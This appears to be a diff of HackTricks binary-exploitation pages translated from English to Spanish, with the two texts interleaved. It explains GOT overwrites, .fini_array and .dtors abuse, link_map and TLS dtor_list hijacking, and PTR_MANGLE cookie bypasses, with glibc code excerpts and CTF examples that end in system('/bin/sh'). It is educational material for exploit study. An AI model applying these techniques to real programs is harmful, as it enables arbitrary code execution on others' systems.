Moreover, if `puts` is used with user input, it's possible to overwrite the `strlen` GOT address to point to `system` and pass the string `"/bin/sh"` to get a shell because **`puts` will call `strlen` with the user input**. Además, si `puts` se utiliza con entrada del usuario, es posible sobrescribir la dirección GOT de `strlen` para apuntar a `system` y pasar la cadena `"/bin/sh"` para obtener un shell porque **`puts` llamará a `strlen` con la entrada del usuario**.
## **One Gadget** ## **Un Gadget**
{{#ref}} {{#ref}}
../rop-return-oriented-programing/ret2lib/one-gadget.md ../rop-return-oriented-programing/ret2lib/one-gadget.md
{{#endref}} {{#endref}}
## **Abusing GOT from Heap** ## **Abusando de la GOT desde Heap**
A common way to obtain RCE from a heap vulnerability is to abuse a fastbin so it's possible to add the part of the GOT table into the fast bin, so whenever that chunk is allocated it'll be possible to **overwrite the pointer of a function, usually `free`**.\ Una forma común de obtener RCE a partir de una vulnerabilidad de heap es abusar de un fastbin para que sea posible agregar la parte de la tabla GOT en el fast bin, de modo que cada vez que ese chunk se asigne será posible **sobrescribir el puntero de una función, generalmente `free`**.\
Then, pointing `free` to `system` and freeing a chunk where was written `/bin/sh\x00` will execute a shell. Luego, apuntando `free` a `system` y liberando un chunk donde se escribió `/bin/sh\x00` se ejecutará un shell.
It's possible to find an [**example here**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.** Es posible encontrar un [**ejemplo aquí**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.**
## **Protections** ## **Protecciones**
The **Full RELRO** protection is meant to protect agains this kind of technique by resolving all the addresses of the functions when the binary is started and making the **GOT table read only** after it: La protección de **Full RELRO** está destinada a proteger contra este tipo de técnica resolviendo todas las direcciones de las funciones cuando se inicia el binario y haciendo que la **tabla GOT sea de solo lectura** después de eso:
{{#ref}} {{#ref}}
../common-binary-protections-and-bypasses/relro.md ../common-binary-protections-and-bypasses/relro.md
{{#endref}} {{#endref}}
## References ## Referencias
- [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) - [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) - [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)

View File

@ -5,52 +5,48 @@
## .dtors ## .dtors
> [!CAUTION] > [!CAUTION]
> Nowadays is very **weird to find a binary with a .dtors section!** > ¡Hoy en día es muy **raro encontrar un binario con una sección .dtors!**
The destructors are functions that are **executed before program finishes** (after the `main` function returns).\ Los destructores son funciones que se **ejecutan antes de que el programa termine** (después de que la función `main` retorna).\
The addresses to these functions are stored inside the **`.dtors`** section of the binary and therefore, if you manage to **write** the **address** to a **shellcode** in **`__DTOR_END__`** , that will be **executed** before the programs ends. Las direcciones de estas funciones se almacenan dentro de la sección **`.dtors`** del binario y, por lo tanto, si logras **escribir** la **dirección** en un **shellcode** en **`__DTOR_END__`**, eso será **ejecutado** antes de que el programa termine.
Get the address of this section with:
Obtén la dirección de esta sección con:
```bash ```bash
objdump -s -j .dtors /exec objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR” rabin -s /exec | grep “__DTOR”
``` ```
Normalmente encontrarás los marcadores **DTOR** **entre** los valores `ffffffff` y `00000000`. Así que si solo ves esos valores, significa que **no hay ninguna función registrada**. Así que **sobrescribe** el **`00000000`** con la **dirección** al **shellcode** para ejecutarlo.
Usually you will find the **DTOR** markers **between** the values `ffffffff` and `00000000`. So if you just see those values, it means that there **isn't any function registered**. So **overwrite** the **`00000000`** with the **address** to the **shellcode** to execute it.
> [!WARNING] > [!WARNING]
> Ofc, you first need to find a **place to store the shellcode** in order to later call it. > Por supuesto, primero necesitas encontrar un **lugar para almacenar el shellcode** para poder llamarlo más tarde.
## **.fini_array** ## **.fini_array**
Essentially this is a structure with **functions that will be called** before the program finishes, like **`.dtors`**. This is interesting if you can call your **shellcode just jumping to an address**, or in cases where you need to go **back to `main`** again to **exploit the vulnerability a second time**. Esencialmente, esta es una estructura con **funciones que serán llamadas** antes de que el programa termine, como **`.dtors`**. Esto es interesante si puedes llamar a tu **shellcode simplemente saltando a una dirección**, o en casos donde necesitas volver a **`main`** nuevamente para **explotar la vulnerabilidad una segunda vez**.
```bash ```bash
objdump -s -j .fini_array ./greeting objdump -s -j .fini_array ./greeting
./greeting: file format elf32-i386 ./greeting: file format elf32-i386
Contents of section .fini_array: Contents of section .fini_array:
8049934 a0850408 8049934 a0850408
#Put your address in 0x8049934 #Put your address in 0x8049934
``` ```
Nota que cuando se ejecuta una función de **`.fini_array`**, se pasa a la siguiente, por lo que no se ejecutará varias veces (previniendo bucles eternos), pero también solo te dará 1 **ejecución de la función** colocada aquí.
Note that when a function from the **`.fini_array`** is executed it moves to the next one, so it won't be executed several time (preventing eternal loops), but also it'll only give you 1 **execution of the function** placed here. Nota que las entradas en **`.fini_array`** se llaman en orden **inverso**, así que probablemente quieras comenzar a escribir desde la última.
Note that entries in `.fini_array` are called in **reverse** order, so you probably wants to start writing from the last one. #### Bucle eterno
#### Eternal loop Para abusar de **`.fini_array`** y obtener un bucle eterno, puedes [**ver lo que se hizo aquí**](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)**:** Si tienes al menos 2 entradas en **`.fini_array`**, puedes:
In order to abuse **`.fini_array`** to get an eternal loop you can [**check what was done here**](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)**:** If you have at least 2 entries in **`.fini_array`**, you can: - Usar tu primera escritura para **llamar a la función vulnerable de escritura arbitraria** nuevamente
- Luego, calcular la dirección de retorno en la pila almacenada por **`__libc_csu_fini`** (la función que está llamando a todas las funciones de **`.fini_array`**) y poner allí la **dirección de `__libc_csu_fini`**
- Use your first write to **call the vulnerable arbitrary write function** again - Esto hará que **`__libc_csu_fini`** se llame a sí mismo nuevamente ejecutando las funciones de **`.fini_array`** nuevamente, lo que llamará a la función WWW vulnerable 2 veces: una para **escritura arbitraria** y otra para sobrescribir nuevamente la **dirección de retorno de `__libc_csu_fini`** en la pila para llamarse a sí mismo nuevamente.
- Then, calculate the return address in the stack stored by **`__libc_csu_fini`** (the function that is calling all the `.fini_array` functions) and put there the **address of `__libc_csu_fini`**
- This will make **`__libc_csu_fini`** call himself again executing the **`.fini_array`** functions again which will call the vulnerable WWW function 2 times: one for **arbitrary write** and another one to overwrite again the **return address of `__libc_csu_fini`** on the stack to call itself again.
> [!CAUTION] > [!CAUTION]
> Note that with [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** the section **`.fini_array`** is made **read-only**. > Nota que con [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** la sección **`.fini_array`** se vuelve **solo de lectura**.
> In newer versions, even with [**Partial RELRO**] the section **`.fini_array`** is made **read-only** also. > En versiones más nuevas, incluso con [**Partial RELRO**], la sección **`.fini_array`** también se vuelve **solo de lectura**.
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -1,39 +1,38 @@
# WWW2Exec - atexit(), TLS Storage & Other mangled Pointers # WWW2Exec - atexit(), Almacenamiento TLS y Otros Punteros Dañados
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## **\_\_atexit Structures** ## **\_\_atexit Estructuras**
> [!CAUTION] > [!CAUTION]
> Nowadays is very **weird to exploit this!** > Hoy en día es muy **raro explotar esto!**
**`atexit()`** is a function to which **other functions are passed as parameters.** These **functions** will be **executed** when executing an **`exit()`** or the **return** of the **main**.\ **`atexit()`** es una función a la que se le **pasan otras funciones como parámetros.** Estas **funciones** serán **ejecutadas** al ejecutar un **`exit()`** o el **retorno** del **main**.\
If you can **modify** the **address** of any of these **functions** to point to a shellcode for example, you will **gain control** of the **process**, but this is currently more complicated.\ Si puedes **modificar** la **dirección** de cualquiera de estas **funciones** para que apunte a un shellcode, por ejemplo, **ganarás control** del **proceso**, pero esto es actualmente más complicado.\
Currently the **addresses to the functions** to be executed are **hidden** behind several structures and finally the address to which it points are not the addresses of the functions, but are **encrypted with XOR** and displacements with a **random key**. So currently this attack vector is **not very useful at least on x86** and **x64_86**.\ Actualmente, las **direcciones a las funciones** que se van a ejecutar están **ocultas** detrás de varias estructuras y, finalmente, la dirección a la que apuntan no son las direcciones de las funciones, sino que están **encriptadas con XOR** y desplazamientos con una **clave aleatoria**. Así que actualmente este vector de ataque **no es muy útil al menos en x86** y **x64_86**.\
The **encryption function** is **`PTR_MANGLE`**. **Other architectures** such as m68k, mips32, mips64, aarch64, arm, hppa... **do not implement the encryption** function because it **returns the same** as it received as input. So these architectures would be attackable by this vector. La **función de encriptación** es **`PTR_MANGLE`**. **Otras arquitecturas** como m68k, mips32, mips64, aarch64, arm, hppa... **no implementan la función de encriptación** porque **devuelve lo mismo** que recibió como entrada. Así que estas arquitecturas serían atacables por este vector.
You can find an in depth explanation on how this works in [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html) Puedes encontrar una explicación detallada sobre cómo funciona esto en [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html)
## link_map ## link_map
As explained [**in this post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure), If the program exits using `return` or `exit()` it'll run `__run_exit_handlers()` which will call registered destructors. Como se explicó [**en esta publicación**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure), si el programa sale usando `return` o `exit()` se ejecutará `__run_exit_handlers()` que llamará a los destructores registrados.
> [!CAUTION] > [!CAUTION]
> If the program exits via **`_exit()`** function, it'll call the **`exit` syscall** and the exit handlers will not be executed. So, to confirm `__run_exit_handlers()` is executed you can set a breakpoint on it. > Si el programa sale a través de la función **`_exit()`**, llamará a la **syscall `exit`** y los manejadores de salida no se ejecutarán. Así que, para confirmar que `__run_exit_handlers()` se ejecuta, puedes establecer un punto de interrupción en él.
The important code is ([source](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)):
El código importante es ([source](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)):
```c ```c
ElfW(Dyn) *fini_array = map->l_info[DT_FINI_ARRAY]; ElfW(Dyn) *fini_array = map->l_info[DT_FINI_ARRAY];
if (fini_array != NULL) if (fini_array != NULL)
{ {
ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr); ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr);
size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr))); size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));
while (sz-- > 0) while (sz-- > 0)
((fini_t) array[sz]) (); ((fini_t) array[sz]) ();
} }
[...] [...]
@ -41,198 +40,187 @@ if (fini_array != NULL)
// This is the d_un structure // This is the d_un structure
ptype l->l_info[DT_FINI_ARRAY]->d_un ptype l->l_info[DT_FINI_ARRAY]->d_un
type = union { type = union {
Elf64_Xword d_val; // address of function that will be called, we put our onegadget here Elf64_Xword d_val; // address of function that will be called, we put our onegadget here
Elf64_Addr d_ptr; // offset from l->l_addr of our structure Elf64_Addr d_ptr; // offset from l->l_addr of our structure
} }
``` ```
Nota cómo `map -> l_addr + fini_array -> d_un.d_ptr` se utiliza para **calcular** la posición del **array de funciones a llamar**.
Note how `map -> l_addr + fini_array -> d_un.d_ptr` is used to **calculate** the position of the **array of functions to call**. Hay un **par de opciones**:
There are a **couple of options**: - Sobrescribir el valor de `map->l_addr` para que apunte a un **falso `fini_array`** con instrucciones para ejecutar código arbitrario.
- Sobrescribir las entradas `l_info[DT_FINI_ARRAY]` y `l_info[DT_FINI_ARRAYSZ]` (que son más o menos consecutivas en memoria), para hacer que **apunten a una estructura `Elf64_Dyn` forjada** que hará que nuevamente **`array` apunte a una zona de memoria** controlada por el atacante.&#x20;
- Overwrite the value of `map->l_addr` to make it point to a **fake `fini_array`** with instructions to execute arbitrary code - [**Este informe**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) sobrescribe `l_info[DT_FINI_ARRAY]` con la dirección de una memoria controlada en `.bss` que contiene un falso `fini_array`. Este array falso contiene **primero un** [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **address** que se ejecutará y luego la **diferencia** entre la dirección de este **array falso** y el **valor de `map->l_addr`** para que `*array` apunte al array falso.
- Overwrite `l_info[DT_FINI_ARRAY]` and `l_info[DT_FINI_ARRAYSZ]` entries (which are more or less consecutive in memory) , to make them **points to a forged `Elf64_Dyn`** structure that will make again **`array` points to a memory** zone the attacker controlled.&#x20; - Según la publicación principal de esta técnica y [**este informe**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet), ld.so deja un puntero en la pila que apunta al `link_map` binario en ld.so. Con una escritura arbitraria es posible sobrescribirlo y hacer que apunte a un falso `fini_array` controlado por el atacante con la dirección a un [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md), por ejemplo.
- [**This writeup**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) overwrites `l_info[DT_FINI_ARRAY]` with the address of a controlled memory in `.bss` containing a fake `fini_array`. This fake array contains **first a** [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **address** which will be executed and then the **difference** between in the address of this **fake array** and the v**alue of `map->l_addr`** so `*array` will point to the fake array.
- According to main post of this technique and [**this writeup**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) ld.so leave a pointer on the stack that points to the binary `link_map` in ld.so. With an arbitrary write it's possible to overwrite it and make it point to a fake `fini_array` controlled by the attacker with the address to a [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) for example.
Following the previous code you can find another interesting section with the code:
Siguiendo el código anterior, puedes encontrar otra sección interesante con el código:
```c ```c
/* Next try the old-style destructor. */ /* Next try the old-style destructor. */
ElfW(Dyn) *fini = map->l_info[DT_FINI]; ElfW(Dyn) *fini = map->l_info[DT_FINI];
if (fini != NULL) if (fini != NULL)
DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr)); DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr));
} }
``` ```
En este caso, sería posible sobrescribir el valor de `map->l_info[DT_FINI]` apuntando a una estructura `ElfW(Dyn)` forjada. Encuentra [**más información aquí**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure).
In this case it would be possible to overwrite the value of `map->l_info[DT_FINI]` pointing to a forged `ElfW(Dyn)` structure. Find [**more information here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure). ## Sobrescritura de dtor_list de TLS-Storage en **`__run_exit_handlers`**
## TLS-Storage dtor_list overwrite in **`__run_exit_handlers`** Como [**se explica aquí**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite), si un programa sale a través de `return` o `exit()`, ejecutará **`__run_exit_handlers()`** que llamará a cualquier función destructora registrada.
As [**explained here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite), if a program exits via `return` or `exit()`, it'll execute **`__run_exit_handlers()`** which will call any destructors function registered.
Code from `_run_exit_handlers()`:
Código de `_run_exit_handlers()`:
```c ```c
/* Call all functions registered with `atexit' and `on_exit', /* Call all functions registered with `atexit' and `on_exit',
in the reverse of the order in which they were registered in the reverse of the order in which they were registered
perform stdio cleanup, and terminate program execution with STATUS. */ perform stdio cleanup, and terminate program execution with STATUS. */
void void
attribute_hidden attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp, __run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit, bool run_dtors) bool run_list_atexit, bool run_dtors)
{ {
/* First, call the TLS destructors. */ /* First, call the TLS destructors. */
#ifndef SHARED #ifndef SHARED
if (&__call_tls_dtors != NULL) if (&__call_tls_dtors != NULL)
#endif #endif
if (run_dtors) if (run_dtors)
__call_tls_dtors (); __call_tls_dtors ();
``` ```
Código de **`__call_tls_dtors()`**:
Code from **`__call_tls_dtors()`**:
```c ```c
typedef void (*dtor_func) (void *); typedef void (*dtor_func) (void *);
struct dtor_list //struct added struct dtor_list //struct added
{ {
dtor_func func; dtor_func func;
void *obj; void *obj;
struct link_map *map; struct link_map *map;
struct dtor_list *next; struct dtor_list *next;
}; };
[...] [...]
/* Call the destructors. This is called either when a thread returns from the /* Call the destructors. This is called either when a thread returns from the
initial function or when the process exits via the exit function. */ initial function or when the process exits via the exit function. */
void void
__call_tls_dtors (void) __call_tls_dtors (void)
{ {
while (tls_dtor_list) // parse the dtor_list chained structures while (tls_dtor_list) // parse the dtor_list chained structures
{ {
struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list
dtor_func func = cur->func; dtor_func func = cur->func;
PTR_DEMANGLE (func); // demangle the function ptr PTR_DEMANGLE (func); // demangle the function ptr
tls_dtor_list = tls_dtor_list->next; // next dtor_list structure tls_dtor_list = tls_dtor_list->next; // next dtor_list structure
func (cur->obj); func (cur->obj);
[...] [...]
} }
} }
``` ```
Para cada función registrada en **`tls_dtor_list`**, se descompone el puntero de **`cur->func`** y se llama con el argumento **`cur->obj`**.
For each registered function in **`tls_dtor_list`**, it'll demangle the pointer from **`cur->func`** and call it with the argument **`cur->obj`**. Usando la función **`tls`** de este [**fork de GEF**](https://github.com/bata24/gef), es posible ver que en realidad la **`dtor_list`** está muy **cerca** del **stack canary** y la **cookie PTR_MANGLE**. Así, con un desbordamiento en ella sería posible **sobrescribir** la **cookie** y el **stack canary**.\
Sobrescribiendo la cookie PTR_MANGLE, sería posible **eludir la función `PTR_DEMANLE`** al configurarla en 0x00, lo que significará que el **`xor`** utilizado para obtener la dirección real es solo la dirección configurada. Luego, al escribir en la **`dtor_list`** es posible **encadenar varias funciones** con la **dirección** de la función y su **argumento**.
Using the **`tls`** function from this [**fork of GEF**](https://github.com/bata24/gef), it's possible to see that actually the **`dtor_list`** is very **close** to the **stack canary** and **PTR_MANGLE cookie**. So, with an overflow on it's it would be possible to **overwrite** the **cookie** and the **stack canary**.\
Overwriting the PTR_MANGLE cookie, it would be possible to **bypass the `PTR_DEMANLE` function** by setting it to 0x00, will mean that the **`xor`** used to get the real address is just the address configured. Then, by writing on the **`dtor_list`** it's possible **chain several functions** with the function **address** and it's **argument.**
Finally notice that the stored pointer is not only going to be xored with the cookie but also rotated 17 bits:
Finalmente, ten en cuenta que el puntero almacenado no solo se va a xorear con la cookie, sino que también se rotará 17 bits:
```armasm ```armasm
0x00007fc390444dd4 <+36>: mov rax,QWORD PTR [rbx] --> mangled ptr 0x00007fc390444dd4 <+36>: mov rax,QWORD PTR [rbx] --> mangled ptr
0x00007fc390444dd7 <+39>: ror rax,0x11 --> rotate of 17 bits 0x00007fc390444dd7 <+39>: ror rax,0x11 --> rotate of 17 bits
0x00007fc390444ddb <+43>: xor rax,QWORD PTR fs:0x30 --> xor with PTR_MANGLE 0x00007fc390444ddb <+43>: xor rax,QWORD PTR fs:0x30 --> xor with PTR_MANGLE
``` ```
Así que necesitas tener esto en cuenta antes de agregar una nueva dirección.
So you need to take this into account before adding a new address. Encuentra un ejemplo en el [**post original**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite).
Find an example in the [**original post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite). ## Otros punteros dañados en **`__run_exit_handlers`**
## Other mangled pointers in **`__run_exit_handlers`** Esta técnica está [**explicada aquí**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) y depende nuevamente de que el programa **salga llamando a `return` o `exit()`** para que se llame a **`__run_exit_handlers()`**.
This technique is [**explained here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) and depends again on the program **exiting calling `return` or `exit()`** so **`__run_exit_handlers()`** is called.
Let's check more code of this function:
Veamos más código de esta función:
```c ```c
while (true) while (true)
{ {
struct exit_function_list *cur; struct exit_function_list *cur;
restart: restart:
cur = *listp; cur = *listp;
if (cur == NULL) if (cur == NULL)
{ {
/* Exit processing complete. We will not allow any more /* Exit processing complete. We will not allow any more
atexit/on_exit registrations. */ atexit/on_exit registrations. */
__exit_funcs_done = true; __exit_funcs_done = true;
break; break;
} }
while (cur->idx > 0) while (cur->idx > 0)
{ {
struct exit_function *const f = &cur->fns[--cur->idx]; struct exit_function *const f = &cur->fns[--cur->idx];
const uint64_t new_exitfn_called = __new_exitfn_called; const uint64_t new_exitfn_called = __new_exitfn_called;
switch (f->flavor) switch (f->flavor)
{ {
void (*atfct) (void); void (*atfct) (void);
void (*onfct) (int status, void *arg); void (*onfct) (int status, void *arg);
void (*cxafct) (void *arg, int status); void (*cxafct) (void *arg, int status);
void *arg; void *arg;
case ef_free: case ef_free:
case ef_us: case ef_us:
break; break;
case ef_on: case ef_on:
onfct = f->func.on.fn; onfct = f->func.on.fn;
arg = f->func.on.arg; arg = f->func.on.arg;
PTR_DEMANGLE (onfct); PTR_DEMANGLE (onfct);
/* Unlock the list while we call a foreign function. */ /* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock); __libc_lock_unlock (__exit_funcs_lock);
onfct (status, arg); onfct (status, arg);
__libc_lock_lock (__exit_funcs_lock); __libc_lock_lock (__exit_funcs_lock);
break; break;
case ef_at: case ef_at:
atfct = f->func.at; atfct = f->func.at;
PTR_DEMANGLE (atfct); PTR_DEMANGLE (atfct);
/* Unlock the list while we call a foreign function. */ /* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock); __libc_lock_unlock (__exit_funcs_lock);
atfct (); atfct ();
__libc_lock_lock (__exit_funcs_lock); __libc_lock_lock (__exit_funcs_lock);
break; break;
case ef_cxa: case ef_cxa:
/* To avoid dlclose/exit race calling cxafct twice (BZ 22180), /* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
we must mark this function as ef_free. */ we must mark this function as ef_free. */
f->flavor = ef_free; f->flavor = ef_free;
cxafct = f->func.cxa.fn; cxafct = f->func.cxa.fn;
arg = f->func.cxa.arg; arg = f->func.cxa.arg;
PTR_DEMANGLE (cxafct); PTR_DEMANGLE (cxafct);
/* Unlock the list while we call a foreign function. */ /* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock); __libc_lock_unlock (__exit_funcs_lock);
cxafct (arg, status); cxafct (arg, status);
__libc_lock_lock (__exit_funcs_lock); __libc_lock_lock (__exit_funcs_lock);
break; break;
} }
if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called)) if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
/* The last exit function, or another thread, has registered /* The last exit function, or another thread, has registered
more exit functions. Start the loop over. */ more exit functions. Start the loop over. */
goto restart; goto restart;
} }
*listp = cur->next; *listp = cur->next;
if (*listp != NULL) if (*listp != NULL)
/* Don't free the last element in the chain, this is the statically /* Don't free the last element in the chain, this is the statically
allocate element. */ allocate element. */
free (cur); free (cur);
} }
__libc_lock_unlock (__exit_funcs_lock); __libc_lock_unlock (__exit_funcs_lock);
``` ```
La variable `f` apunta a la **`estructura initial`** y dependiendo del valor de `f->flavor` se llamarán diferentes funciones.\
Dependiendo del valor, la dirección de la función a llamar estará en un lugar diferente, pero siempre estará **demangled**.
The variable `f` points to the **`initial`** structure and depending on the value of `f->flavor` different functions will be called.\ Además, en las opciones **`ef_on`** y **`ef_cxa`** también es posible controlar un **argumento**.
Depending on the value, the address of the function to call will be in a different place, but it'll always be **demangled**.
Moreover, in the options **`ef_on`** and **`ef_cxa`** it's also possible to control an **argument**. Es posible verificar la **`estructura initial`** en una sesión de depuración con GEF ejecutando **`gef> p initial`**.
It's possible to check the **`initial` structure** in a debugging session with GEF running **`gef> p initial`**. Para abusar de esto, necesitas **leak o borrar la cookie `PTR_MANGLE`** y luego sobrescribir una entrada `cxa` en initial con `system('/bin/sh')`.\
Puedes encontrar un ejemplo de esto en el [**blog original sobre la técnica**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure).
To abuse this you need either to **leak or erase the `PTR_MANGLE`cookie** and then overwrite a `cxa` entry in initial with `system('/bin/sh')`.\
You can find an example of this in the [**original blog post about the technique**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure).
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -1,18 +1,18 @@
# Array Indexing # Indexación de Arreglos
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## Basic Information ## Información Básica
This category includes all vulnerabilities that occur because it is possible to overwrite certain data through errors in the handling of indexes in arrays. It's a very wide category with no specific methodology as the exploitation mechanism relays completely on the conditions of the vulnerability. Esta categoría incluye todas las vulnerabilidades que ocurren porque es posible sobrescribir ciertos datos a través de errores en el manejo de índices en arreglos. Es una categoría muy amplia sin una metodología específica, ya que el mecanismo de explotación depende completamente de las condiciones de la vulnerabilidad.
However he you can find some nice **examples**: Sin embargo, aquí puedes encontrar algunos **ejemplos**:
- [https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html) - [https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html)
- There are **2 colliding arrays**, one for **addresses** where data is stored and one with the **sizes** of that data. It's possible to overwrite one from the other, enabling to write an arbitrary address indicating it as a size. This allows to write the address of the `free` function in the GOT table and then overwrite it with the address to `system`, and call free from a memory with `/bin/sh`. - Hay **2 arreglos en colisión**, uno para **direcciones** donde se almacenan los datos y otro con los **tamaños** de esos datos. Es posible sobrescribir uno desde el otro, lo que permite escribir una dirección arbitraria indicándola como un tamaño. Esto permite escribir la dirección de la función `free` en la tabla GOT y luego sobrescribirla con la dirección de `system`, y llamar a free desde una memoria con `/bin/sh`.
- [https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html) - [https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html)
- 64 bits, no nx. Overwrite a size to get a kind of buffer overflow where every thing is going to be used a double number and sorted from smallest to biggest so it's needed to create a shellcode that fulfil that requirement, taking into account that the canary shouldn't be moved from it's position and finally overwriting the RIP with an address to ret, that fulfil he previous requirements and putting the biggest address a new address pointing to the start of the stack (leaked by the program) so it's possible to use the ret to jump there. - 64 bits, sin nx. Sobrescribir un tamaño para obtener una especie de desbordamiento de búfer donde todo se va a usar como un número doble y ordenado de menor a mayor, por lo que es necesario crear un shellcode que cumpla con ese requisito, teniendo en cuenta que el canario no debe moverse de su posición y finalmente sobrescribir el RIP con una dirección de ret, que cumpla con los requisitos anteriores y poniendo la dirección más grande como una nueva dirección apuntando al inicio de la pila (filtrada por el programa) para que sea posible usar el ret para saltar allí.
- [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/) - [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/)
- 64bits, no relro, canary, nx, no pie. There is an off-by-one in an array in the stack that allows to control a pointer granting WWW (it write the sum of all the numbers of the array in the overwritten address by the of-by-one in the array). The stack is controlled so the GOT `exit` address is overwritten with `pop rdi; ret`, and in the stack is added the address to `main` (looping back to `main`). The a ROP chain to leak the address of put in the GOT using puts is used (`exit` will be called so it will call `pop rdi; ret` therefore executing this chain in the stack). Finally a new ROP chain executing ret2lib is used. - 64 bits, sin relro, canario, nx, sin pie. Hay un off-by-one en un arreglo en la pila que permite controlar un puntero otorgando WWW (escribe la suma de todos los números del arreglo en la dirección sobrescrita por el off-by-one en el arreglo). La pila está controlada, por lo que la dirección GOT de `exit` se sobrescribe con `pop rdi; ret`, y en la pila se agrega la dirección a `main` (volviendo a `main`). Se utiliza una cadena ROP para filtrar la dirección de `put` en la GOT usando puts (`exit` será llamado, por lo que llamará a `pop rdi; ret`, ejecutando así esta cadena en la pila). Finalmente, se utiliza una nueva cadena ROP que ejecuta ret2lib.
